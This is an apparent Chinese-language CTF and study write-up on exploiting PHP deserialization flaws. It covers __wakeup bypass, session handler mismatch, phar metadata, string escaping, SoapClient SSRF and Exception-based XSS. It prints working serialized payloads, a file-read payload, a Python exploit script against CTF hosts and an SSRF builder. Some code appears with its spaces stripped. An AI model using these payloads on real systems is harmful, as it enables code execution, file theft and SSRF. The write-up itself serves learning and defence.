反序列化漏洞利用總結
反序列化無論在CTF比賽中,抑或是實戰滲透中都起著重要作用,而這一直都是我的弱項之一,所以寫一篇反序列化利用總結來深入學習一下
<!-- more -->
簡單介紹
(反)序列化只是給我們傳遞物件提供了一種簡單的方法。
-
serialize()
將一個物件轉換成一個字串 -
unserialize()
將字串還原為一個物件
在本質上,反序列化的資料是沒有危害的,但是當反序列化資料是使用者可控時,這時就會產生一些預期外的結果,也就可能存在危害
因此,反序列化的危害,關鍵在於可控或不可控,而我們找反序列化漏洞時,資料的可控與不可控也是一處著力點
在本文,不會著重討論反序列化漏洞的形成原理,這已經被其他師傅講得很透徹了,我在這裡只是稍微總結一下思路,僅此而已
漏洞成因即利用思路
才疏學淺,若有錯誤,多加包涵
Magic function
Magic function,即我們常說的魔術方法,我們的反序列化漏洞也常常與這些相掛鉤
-
__construct()
:建構函式,當物件建立(new)時會自動呼叫。但在unserialize()時是不會自動呼叫的。 -
__destruct()
:解構函式,類似於C++。會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行,當物件被銷燬時會自動呼叫。 -
__wakeup()
:如前所提,unserialize()時會檢查是否存在__wakeup()
,如果存在,則會優先呼叫__wakeup()
方法。 -
__toString()
-
__sleep()
:用於提交未提交的資料,或類似的清理操作,因此當一個物件被序列化的時候被呼叫。
利用方式
__wakeup()
對應的CVE編號:CVE-2016-7124
-
存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
-
漏洞成因:當物件的屬性(變數)數大於實際的個數時,
__wakeup
可以被被繞過
demo
<?php
highlight_file(__FILE__);
error_reporting(0);
classconvent{
var$warn="No hacker.";
function__destruct(){
eval($this->warn);
}
function__wakeup(){
foreach(get_object_vars($this)as$k=>$v) {
$this->$k=null;
}
}
}
$cmd=$_POST[cmd];
unserialize($cmd);
?>
這邊的__wakeup
是事件型的,如果沒遇到unserialize
就永遠不會觸發了,所以我們得先搞清楚先執行哪個方法,再執行哪個方法。
在這裡,經過測試,我們可以得出__wakeup
優先順序高於__destruct()
因為遇到了unserialize
得先執行__wakeup
裡面的內容,才能跑到我們想要的__destruct()
裡面,所以得繞過這個__wakeup
怎麼繞過?
只要物件的屬性(變數)數大於實際的個數時,__wakeup
就可以被被繞過
<?php
classconvent{
var$warn="phpinfo();";
function__destruct(){
}
}
$a=newconvent();
$b=serialize($a);
print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
?>
然後更改變數數即可
O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}>>O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}
存在多個魔法方法時,要弄清哪個魔法方法的優先順序高
PHP session反序列化
這在我之前一篇文章其實已經介紹得差不多了
-
漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致時,引擎之間的差異產生序列化注入漏洞
demo
在之前的高校戰疫中考查過, 利用的就是php session的序列化機制差異導致的注入漏洞
相關題目:http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler','php');
session_start();
classOowoO
{
public$mdzz;
function__construct()
{
$this->mdzz='phpinfo();';
}
function__destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m=newOowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
仔細看了一遍發現題目沒有入口,注意到有ini_set('session.serialize_handler', 'php')
存在,猜測是否為session反序列化漏洞
看一下phpinfo
local value(當前目錄,會覆蓋master value內容):php master value(主目錄,php.ini裡面的內容):php_serialize
這就很明視訊記憶體在session反序列化漏洞了
當一個上傳在處理中,同時
POST
一個與INI
中設定的session.upload_progress.name
同名變數時,當PHP
檢測到這種POST
請求時,它會在$_SESSION
中新增一組資料,索引是session.upload_progress.prefix
與session.upload_progress.name
連線在一起的值。所以可以通過
Session Upload Progress
來設定session
允許上傳且結束後不清除資料,這樣更有利於利用
我們在html網頁原始碼上加入以下程式碼
<formaction="http://web.jarvisoj.com:32784/index.php"method="POST"enctype="multipart/form-data">
<inputtype="hidden"name="PHP_SESSION_UPLOAD_PROGRESS"value="123"/>
<inputtype="file"name="file"/>
<inputtype="submit"/>
</form>
接下來就是考慮怎麼利用了,我們可以利用反序列化資料可控來達成我們的目的
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
classOowoO
{
public$mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj=newOowoO();
echoserialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>
為了防止被轉義,我們在雙引號前加上反斜槓\
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
抓包上傳,將filename
改成我們的payload(要INI
中設定的session.upload_progress.name
同名變數)
這樣我們就可以看到當前目錄的檔案了,再去phpinfo中檢視當前目錄
更改payload,利用print_r
來讀取目標檔案
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
phar 反序列化
phar
在網上已經有很多解釋了,這裡就不過多贅述,簡單來說phar
就是php
壓縮文件,不經過解壓就能被php
訪問並執行
-
前提條件
php.ini中設定為phar.readonly=Off
phpversion>=5.3.0
-
漏洞成因:
phar
儲存的meta-data
資訊以序列化方式儲存,當檔案操作函式(file_exists()
、is_dir()
等)通過phar://
偽協議解析phar
檔案時就會將資料反序列化,並且可以不依賴unserialize()
直接進行反序列化操作。
demo
根據檔案結構我們來自己構建一個phar
檔案,php
內建了一個Phar
類來處理相關操作
<?php
classUser{
var$name;
function__destruct(){
echo"Blackwatch";
}
}
@unlink("test.phar");
$phar=newPhar("test.phar");//字尾名必須為phar
$phar->startBuffering();
$phar->setStub("<?php__HALT_COMPILER();?>");//設定stub
$o=newUser();
$o->name="test";
$phar->setMetadata($o);//將自定義的meta-data存入manifest
$phar->addFromString("test.txt","Blackwatch");//新增要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>
可以很明顯看到我們的manifest
(也就是meta-data
)是以序列號形式儲存的
在上面的demo中我們可以看到,當檔案系統函式的引數可控時,我們可以在不呼叫unserialize()
的情況下進行反序列化操作,其他函式也是可以的
phar反序列化可以利用的函式
phar檔案偽造
因為php對phar檔案的識別是通過檔案頭stub
來識別的,更準確的說是__HALT_COMPILER();?>
這段程式碼,對於前面的內容和字尾名是沒有要求的,我們可以利用這個特性將phar偽裝成其他檔案進行上傳
-
phar 檔案能夠上傳
-
檔案操作函式引數可控,
:
,/
phar
等特殊字元沒有被過濾 -
有可用的魔術方法作為”跳板”
$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?>");
-
例題:SWPUCTF2018 SimplePHP
bypass phar:// 不能出現在首部
這時我們我們可以利用compress.zlib://
或compress.bzip2://
函式,compress.zlib://
和compress.bzip2://
同樣適用於phar://
-
payload
compress.zlib://phar://phar.phar/test.txt
-
例題:巔峰極客 2020 babyphp2
字元逃逸
-
PHP 在反序列化時,底層程式碼是以
;
作為欄位的分隔,以}
作為結尾(字串除外),並且是根據長度判斷內容的 . -
當長度不對應的時候會出現報錯
-
可以反序列化類中不存在的元素
-
漏洞成因:利用序列化後的資料經過過濾後出現字元變多或變少,導致字串逃逸
字串變多
-
[0CTF 2016]piapiapia
掃描目錄發現有WWW.ZIP
洩露,下載後用Seay原始碼審計一下
而我們對原始碼全域性搜尋時發現,只有config.php存在flag欄位的內容,因此可以分析我們的初步思路
-
因為在profile.php 中: 存在檔案操作函式
file_get_contents()
以及可控的引數photo
,如果photo
為config.php 就能讀取到flag -
profile.php
-
update.php
-
class.php
我們可以看到這裡的正則過濾掉了where(5)替換成了hacker(6)
在update.php 中對陣列profile 進行序列化儲存後,在profile.php 進行反序列化
我們註冊後來抓個包,發現數組中元素的傳遞nickname也是位於photo之前的,所以我們可以想辦法讓nickname足夠長,把upload那部分欄位給”擠出去”
這就是反序列化長度變化尾部字串逃逸
我們的目標是使photo欄位的內容為config.php所以我們要的序列化資料閉合應為:";}s:5:"photo";s:10:"config.php";}
,34個字元
我們的目的是將";}s:5:"photo";s:10:"config.php";}
插入序列化的字串裡面去,這個的長度為34,所以我們要擠出來34位,不然就成了nickname的值了
where(5)會替換成hacker(6),長度加1,所以我們要構造34個where
";}
是為了閉合nickname部分,而後面這部分s:5:"photo";s:10:"config.php";}
,就單獨成為了 photo 的部分( 尾部字串逃逸 ),到達效果
使用陣列繞過nickname長度限制
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
發包後在/profile.php
頁面複製頭像的地址,進行base64decode得到flag
字串變少
也有師傅稱之為物件逃逸
俺沒物件所以不用這個名稱
原理與上者差不多,是經過序列化-->敏感字替換為空(長度變短)-->反序列化的過程之後再輸出結果
直接看題
-
[安洵杯 2019]easy_serialize_php
原始碼如下
<?php
$function=@$_GET['f'];
functionfilter($img){
$filter_arr=array('php','flag','php5','php4','fl1g');
$filter='/'.implode('|',$filter_arr).'/i';
returnpreg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"]='guest';
$_SESSION['function']=$function;
extract($_POST);
if(!$function){
echo'<ahref="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img']=base64_encode('guest_img.png');
}else{
$_SESSION['img']=sha1(base64_encode($_GET['img_path']));
}
$serialize_info=filter(serialize($_SESSION));
if($function=='highlight_file'){
highlight_file('index.php');
}elseif($function=='phpinfo'){
eval('phpinfo();');//maybeyoucanfindsomethinginhere!
}elseif($function=='show_image'){
$userinfo=unserialize($serialize_info);
echofile_get_contents(base64_decode($userinfo['img']));
}
根據提示我們可以在phpinfo中看到flag 在d0g3_f1ag.php
這個檔案中,直接讀取是不行的
$_SESSION
陣列中有user, funciton, img
這三個屬性
img的值我們是控制不了的,進而無法讀取到目標檔案
我們把注意力轉移到函式serialize
上,這裡有一個很明顯的漏洞點,資料經過序列化了之後又經過了一層過濾函式,而這層過濾函式會干擾序列化後的資料
而且extract($_POST)
存在變數覆蓋漏洞
所以我們可以在這上面做文章
這兒需要兩個連續的鍵值對,由第一個的值覆蓋第二個的鍵,這樣第二個值就逃逸出去,單獨作為一個鍵值對
當我們令_SESSION[user]為flagflagflagflagflagflag時,正常情況下序列化後的資料是這樣的:正常情況下,序列化後的資料應為
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
但是因為過濾的原因,會變成這樣
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的內容已經變為空,但是長度還是24,那麼反序列化時就會自動往後讀取24位,會讀取到";s:8:"function";s:59:"a
";s:8:"function";s:59:"a
其長度為24,作為一個整體成了user的值
因為php反序列化時,當一整段內容反序列化結束後,後面的非法字元將會被忽略,而我們可以看到這是以{作為序列化內容的起點,}作為序列化內容的終點
後面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
這部分被捨棄
因此我們可以控制$userinfo["img"]的值,達到任意檔案讀取的效果
所以payload為
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
讀取完d0g3_f1ag.php
後,得到下一個hint,獲取到flag檔名
Pop chain
嚴格來說,這更多像一種方法,就像玩樂高一樣把一個個魔術方法串聯起來,POP CHAIN 更多的是在類之間,方法之間的呼叫上,由於方法的引數可控存在危險函式,導致了漏洞,,實也是在程式碼邏輯上出現的問題
在編寫Pop 鏈的exp的時候,,類的框架幾乎不變,只需要做一些修改
pop chain的構造這裡就不展開討論了,畢竟這點位置來講還不如去看一下github上師傅們挖出來的鏈實在,後面有機會可以寫一下反序列化鏈構造的思路
SoapClient
SoapClient 類搭配CRLF注入可以實現SSRF, 在本地生成payload的時候,需要修改php.ini
中的;extension soap
將註釋刪掉即可
-
漏洞成因:因為SoapClient 類會呼叫
__call
方法,當執行一個不存在的方法時,被呼叫,從而實現ssrf
exp
<?php
$a=newSoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa','uri'=>'http://47.xxx.xxx.72:2333'));
$b=serialize($a);
echo$b;
$c=unserialize($b);
$c->a();//隨便呼叫物件中不存在的方法,觸發__call方法進行ssrf
?>
-
LCTF 2018 bestphp's revenge
exp
importrequests
importre
url="http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"
payload='|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r=requests.session()
data={'serialize_handler':'php_serialize'}
res=r.post(url=url+'?f=session_start&name='+payload,data=data)
#print(res.text)
res=r.get(url)
#print(res.text)
data={'b':'call_user_func'}
res=r.post(url=url+'?f=extract',data=data)
res=r.post(url=url+'?f=extract',data=data)#相當於重新整理頁面
sessionid=re.findall(r'string\(26\)"(.*?)"',res.text)
cookie={"Cookie":"PHPSESSID="+sessionid[0]}
res=r.get(url,headers=cookie)
print(res.text)
Exception
與SoapClient一樣,是屬於PHP原生類
-
漏洞成因:php 的原生類中的
Error
和Exception
中內建了toString
方法, 可能造成xss漏洞
<?php
$s=newException("<script>alert(1)</script>");
echourlencode(serialize($s));
?>
總結
除了上面這些,還可以和sql注入,命令執行等結合,這裡就不再一一贅述,php反序列化漏洞的利用,其實是與xss,sql注入等十分相似的,都是一種閉合-構造,以改變原本程式碼結構進而達到漏洞利用的目的的思路
合天智匯:合天網路靶場、網安實戰虛擬環境